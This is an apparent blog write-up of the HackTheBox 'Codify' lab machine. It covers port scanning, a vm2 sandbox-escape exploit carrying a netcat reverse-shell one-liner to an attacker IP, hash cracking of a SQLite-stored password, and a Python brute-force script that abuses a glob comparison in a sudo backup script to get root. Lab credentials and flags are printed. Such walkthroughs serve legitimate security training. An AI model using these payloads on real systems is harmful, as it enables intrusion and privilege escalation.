Post

Codify

HackTheBox Machine ➡️   Easy                    #Node.js  #sqlite  #Password Bruteforce  #Public Exploit                   

Port Scan Results ➡️

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
┌──(kali㉿kali)-[~/Downloads/HTB/Codify]
└─$ nmap -sC -sV -p- -T4 -oN Nmap_Result.txt 10.10.11.239
Warning: 10.10.11.239 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.11.239
Host is up (0.20s latency).
Not shown: 65474 closed tcp ports (reset), 56 filtered tcp ports (no-response)
PORT     STATE SERVICE          VERSION
22/tcp   open  ssh              OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 96:07:1c:c6:77:3e:07:a0:cc:6f:24:19:74:4d:57:0b (ECDSA)
|_  256 0b:a4:c0:cf:e2:3b:95:ae:f6:f5:df:7d:0c:88:d6:ce (ED25519)
80/tcp   open  http             Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://codify.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
3000/tcp open  http             Node.js Express framework
|_http-title: Codify
8080/tcp open  tcpwrapped
8081/tcp open  blackice-icecap?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, RPCCheck, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServerCookie, WWWOFFLEctrlstat, X11Probe: 
|     HTTP/1.1 400 Bad Request
|     Connection: close
|   FourOhFourRequest, GetRequest: 
|     HTTP/1.1 200 OK
|     Content-Type: text/plain
|     Date: Fri, 10 Nov 2023 09:08:23 GMT
|     Connection: close
|     loulou
|   HTTPOptions, RTSPRequest: 
|     HTTP/1.1 200 OK
|     Content-Type: text/plain
|     Date: Fri, 10 Nov 2023 09:08:30 GMT
|     Connection: close
|_    loulou
1 service unrecognized despite returning data.

Web Enumeration ➡️

I checked port 80 and and I redirected to codify.htb domain name so I set the /etc/hosts file and I got the webpage →

Untitled

while enumeartion in about tab I noticed this VM2 library and recon on it futher more on it →

Untitled

I found the same version of vm2 exploit from internet here it is →

https://gist.github.com/leesh3288/381b230b04936dd4d74aaf90cc8bb244

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const {VM} = require("vm2");
const vm = new VM();

const code = `
err = {};
const handler = {
    getPrototypeOf(target) {
        (function stack() {
            new Error().stack;
            stack();
        })();
    }
};
  
const proxiedErr = new Proxy(err, handler);
try {
    throw proxiedErr;
} catch ({constructor: c}) {
    c.constructor('return process')().mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.201 4444 >/tmp/f');
}
`

console.log(vm.run(code));

Untitled

Same way I can get the reverse shell from it →

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/Downloads/HTB/Codify]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.201] from (UNKNOWN) [10.10.11.239] 35584
/bin/sh: 0: cant access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
svc@codify:~$ whoami
whoami
svc
svc@codify:~$ id
id
uid=1001(svc) gid=1001(svc) groups=1001(svc)
svc@codify:~$

while inner enumeration I got a file related to sqlite →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
svc@codify:/var/www/contact$ ls -al
ls -al
total 120
drwxr-xr-x 3 svc  svc   4096 Sep 12 17:45 .
drwxr-xr-x 5 root root  4096 Sep 12 17:40 ..
-rw-rw-r-- 1 svc  svc   4377 Apr 19  2023 index.js
-rw-rw-r-- 1 svc  svc    268 Apr 19  2023 package.json
-rw-rw-r-- 1 svc  svc  77131 Apr 19  2023 package-lock.json
drwxrwxr-x 2 svc  svc   4096 Apr 21  2023 templates
-rw-r--r-- 1 svc  svc  20480 Sep 12 17:45 tickets.db
svc@codify:/var/www/contact$
svc@codify:/var/www/contact$ file tickets.db
file tickets.db
tickets.db: SQLite 3.x database, last written using SQLite version 3037002, file counter 17, d
atabase pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 17
svc@codify:/var/www/contact$

I then tranfered the tickets.db file into the attackers machine through wget and python3 server and opened that file with sqlite browser and I got some date through this →

Untitled

Lets try to decode this password with hashcat Tool →

Untitled

1
2
{: .nolineno}
joshua : spongebob1

I now Logged in as joshua and I executed sudo -l so that I can escalated the privileges to root user →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
joshua@codify:~$ ls -al
total 36
drwxrwx--- 4 joshua joshua 4096 Nov 17 06:29 .
drwxr-xr-x 4 joshua joshua 4096 Sep 12 17:10 ..
lrwxrwxrwx 1 root   root      9 May 30 12:08 .bash_history -> /dev/null
-rw-r--r-- 1 joshua joshua  220 Apr 21  2023 .bash_logout
-rw-r--r-- 1 joshua joshua 3771 Apr 21  2023 .bashrc
drwx------ 2 joshua joshua 4096 Sep 14 14:44 .cache
drwxrwxr-x 3 joshua joshua 4096 Nov 17 06:29 .local
-rw-r--r-- 1 joshua joshua  807 Apr 21  2023 .profile
-rw-r----- 1 root   joshua   33 Nov 17 05:10 user.txt
-rw-r--r-- 1 joshua joshua   39 Sep 14 14:45 .vimrc
joshua@codify:~$ cat user.txt
fd1f48fd367fd2a139d6b12db7e6d881
joshua@codify:~$
joshua@codify:~$ sudo -l
[sudo] password for joshua: 
Matching Defaults entries for joshua on codify:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User joshua may run the following commands on codify:
    (root) /opt/scripts/mysql-backup.sh
joshua@codify:~$

Lets look into mysql-backup.sh file →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
joshua@codify:~$ cat /opt/scripts/mysql-backup.sh
#!/bin/bash
DB_USER="root"
DB_PASS=$(/usr/bin/cat /root/.creds)
BACKUP_DIR="/var/backups/mysql"

read -s -p "Enter MySQL password for $DB_USER: " USER_PASS
/usr/bin/echo

if [[ $DB_PASS == $USER_PASS ]]; then
        /usr/bin/echo "Password confirmed!"
else
        /usr/bin/echo "Password confirmation failed!"
        exit 1
fi

/usr/bin/mkdir -p "$BACKUP_DIR"

databases=$(/usr/bin/mysql -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" -e "SHOW DATABASES;" | /usr/bin/grep -Ev "(Database|information_schema|performance_schema)")

for db in $databases; do
    /usr/bin/echo "Backing up database: $db"
    /usr/bin/mysqldump --force -u "$DB_USER" -h 0.0.0.0 -P 3306 -p"$DB_PASS" "$db" | /usr/bin/gzip > "$BACKUP_DIR/$db.sql.gz"
done

/usr/bin/echo "All databases backed up successfully!"
/usr/bin/echo "Changing the permissions"
/usr/bin/chown root:sys-adm "$BACKUP_DIR"
/usr/bin/chmod 774 -R "$BACKUP_DIR"
/usr/bin/echo 'Done!'

Here the content of mysql-backup.sh wants password to be verified for root user so for that there is a == comparison operator that will compair each characteres for the root user with input value so I have to create a automated bruteforce script , This script will try to compare each character with the root password. If a character matches, it will be added to another variable called password. Then the script will try the next character and repeat the process until there are no more characters left to match.

I used chatGPT to create this python code →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import string
import subprocess

def run_command(command):
    return subprocess.run(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True).stdout

def find_password():
    all = list(string.ascii_letters + string.digits)
    password = ""
    found = False # This is a flag variable to indicate whether the password is found or not
    while not found: # This is the condition for the loop to repeat
        for character in all:
            output = run_command(f"echo '{password}{character}*' | sudo /opt/scripts/mysql-backup.sh")
            if "Password confirmed!" in output:
                password += character
                print(password)
                break
        else: # This is executed when the for loop ends without breaking
            found = True # This changes the flag variable to stop the while loop
    return password

password = find_password()

Now lets see the result of this →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
joshua@codify:~$ python3 brute.py 
k
kl
klj
kljh
kljh1
kljh12
kljh12k
kljh12k3
kljh12k3j
kljh12k3jh
kljh12k3jha
kljh12k3jhas
kljh12k3jhask
kljh12k3jhaskj
kljh12k3jhaskjh
kljh12k3jhaskjh1
kljh12k3jhaskjh12
kljh12k3jhaskjh12k
kljh12k3jhaskjh12kj
kljh12k3jhaskjh12kjh
kljh12k3jhaskjh12kjh3
joshua@codify:~$

Now I have this password for root user kljh12k3jhaskjh12kjh3 Lets Login as root user →

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
joshua@codify:~$ su root
Password: 
root@codify:/home/joshua# cd ~
root@codify:~# ls -al
total 40
drwx------  5 root root 4096 Sep 26 09:35 .
drwxr-xr-x 18 root root 4096 Oct 31 07:57 ..
lrwxrwxrwx  1 root root    9 Sep 14 03:26 .bash_history -> /dev/null
-rw-r--r--  1 root root 3106 Oct 15  2021 .bashrc
-rw-r--r--  1 root root   22 May  8  2023 .creds
drwxr-xr-x  3 root root 4096 Sep 26 09:35 .local
lrwxrwxrwx  1 root root    9 Sep 14 03:34 .mysql_history -> /dev/null
-rw-r--r--  1 root root  161 Jul  9  2019 .profile
-rw-r-----  1 root root   33 Nov 17 05:10 root.txt
drwxr-xr-x  4 root root 4096 Sep 12 16:56 scripts
drwx------  2 root root 4096 Sep 14 03:31 .ssh
-rw-r--r--  1 root root   39 Sep 14 03:26 .vimrc
root@codify:~# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:1a:06 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.10.11.239/23 brd 10.10.11.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:1a06/64 scope global dynamic mngtmpaddr 
       valid_lft 86399sec preferred_lft 14399sec
    inet6 fe80::250:56ff:feb9:1a06/64 scope link 
       valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:11:8b:4e:ad brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
4: br-030a38808dbf: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:35:d9:ff:9f brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-030a38808dbf
       valid_lft forever preferred_lft forever
5: br-5ab86a4e40d0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:0e:aa:1b:ee brd ff:ff:ff:ff:ff:ff
    inet 172.19.0.1/16 brd 172.19.255.255 scope global br-5ab86a4e40d0
       valid_lft forever preferred_lft forever
    inet6 fe80::42:eff:feaa:1bee/64 scope link 
       valid_lft forever preferred_lft forever
7: veth1ecf062@if6: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-5ab86a4e40d0 state UP group default 
    link/ether a2:1c:d7:02:29:1e brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::a01c:d7ff:fe02:291e/64 scope link 
       valid_lft forever preferred_lft forever
root@codify:~# hostname
codify
root@codify:~# whoami
root
root@codify:~# id
uid=0(root) gid=0(root) groups=0(root)
root@codify:~# cat root.txt
6e8be6c12de4711d2e1669c8d16c7d21
root@codify:~#

Now I am root !!

If you have any questions or suggestions, please leave a comment below. Thank You !

This post is licensed under CC BY 4.0 by the author.